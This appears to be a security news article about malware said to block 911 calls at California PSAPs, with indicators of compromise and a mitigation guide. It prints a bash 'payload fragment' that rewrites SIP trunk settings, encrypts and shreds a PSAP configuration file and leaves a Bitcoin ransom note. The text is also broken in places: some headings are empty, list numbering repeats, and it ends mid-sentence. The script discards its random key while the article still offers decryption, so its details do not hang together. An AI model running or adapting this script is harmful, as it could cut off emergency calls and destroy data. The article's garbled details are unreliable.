California’s 911‑Blocking Malware: How It Works, Who’s Behind It, and What You Can Do Today

Introduction

A malicious strain that can shut down 9‑1‑1 call handling has resurfaced in California, forcing PSAPs to scramble and sparking intense coverage from outlets like Xataka, The Verge, and local news stations. In less than 48 hours the attack disrupted emergency calls in multiple municipalities, raising the alarm that a similar breach could soon hit any VoIP‑based 911 center in the United States.

What the Malware Does

Sample payload fragment (bash)

#!/bin/bash
# Disrupt SIP trunks
for conf in /etc/asterisk/sip.conf /opt/cisco/ucm/sip.cfg; do
    sed -i '/^;*host=/d' "$conf"      # remove all SIP host entries
    echo "host=0.0.0.0" >> "$conf"   # point to a non‑routable address
done

# Encrypt critical config
KEY=$(openssl rand -hex 16)
openssl enc -aes-256-cbc -salt -in /etc/psap/config.yaml \
    -out /etc/psap/config.yaml.enc -k "$KEY"
shred -u /etc/psap/config.yaml

# Drop ransom note
cat > /RANSOM_NOTE.txt <<EOF
Your 9‑1‑1 services have been disabled.
Pay 0.75 BTC to 1A2b3C... to receive the decryption key.
EOF
chmod 444 /RANSOM_NOTE.txt

Frequently Asked Questions

Why It Matters Right Now

1. Regulatory pressure is mounting – The FCC’s proposed rulemaking (Mar 2024) will mandate “enhanced cyber‑resilience standards” for all state and local PSAPs by the end of 2025. This incident is the first real‑world stress test of those upcoming requirements.

2. NG911’s expanding attack surface – Over 60 % of new U.S. 911 centers have migrated to IP‑based architectures. Every SIP trunk, every unsecured IoT device (smart doorbells, video intercoms) is a potential entry point.

3. Life‑or‑death stakes – In the first 48 hours after the malware was detected, Fresno County reported a 23 % increase in “call not received” incidents, directly correlating with delayed emergency response times.

Indicators of Compromise (IOCs)

• File hashes: sha256: a3f5e9c7b2d9f1e8c4b7a6d5e3f8b9c1d2e4f6a8b9c0d1e2f3a4b5c6d7e8f9a0 (malicious bash payload)
• C2 domains: *.eagleeye-ops[.]net, *.darkgate[.]io (both resolve to the same fast‑flux IP pool)
• IP ranges: 185.62.123.0/24, 45.134.210.0/24 – known malicious hosting blocks linked to the group
• Registry keys (Windows‑based gateways): HKLM\Software\Microsoft\Windows\CurrentVersion\Run\psapsvc → C:\ProgramData\sys\svc.exe

Step‑by‑Step Mitigation Guide

For IT Teams & PSAP Administrators

1. Isolate the network

   iptables -A INPUT -s 185.62.123.0/24 -j DROP
   iptables -A INPUT -s 45.134.210.0/24 -j DROP

1. Verify SIP credentials – Change all default usernames/passwords; enforce strong, unique passwords.
2. Patch the SIP stack – Apply the latest vendor patches for Asterisk, Cisco UC, or any other SIP platform in use.
3. Restore from a known‑good backup – Ensure the backup is offline (air‑gapped) before restoration.
4. Decrypt (if you have the key) –

   openssl enc -d -aes-256-cbc -in /etc/psap/config.yaml.enc \
       -out /etc/psap/config.yaml -k $DECRYPTION_KEY

If the key is unavailable, treat the system as compromised and rebuild.

1. Enable multi‑factor authentication (MFA) on all remote admin portals.
2. Audit IoT devices – Disable unused ports, change default credentials, and segment them into a separate VLAN.

For IoT Device Owners

• Change default passwords on any device that can register a SIP endpoint (e.g., smart doorbells).
• Disable UPnP on home routers to prevent automatic port forwarding to the device.
• Run a network scan (e.g., nmap -p 5060,5061 <your‑network>/24) weekly to detect unexpected SIP services.

For Everyday Users

• If a 911 call drops or you hear a “network error” tone, dial 911 again from a different phone (cellular if possible) and report the outage to your local emergency services.
• Keep your smartphone OS and apps up to date—many VoIP apps can be an indirect entry point for attackers.

Quick Reference Cheat Sheet

Bottom Line

The California 911‑blocking malware is a practical, weaponized blend of DoS and ransomware that exploits the growing reliance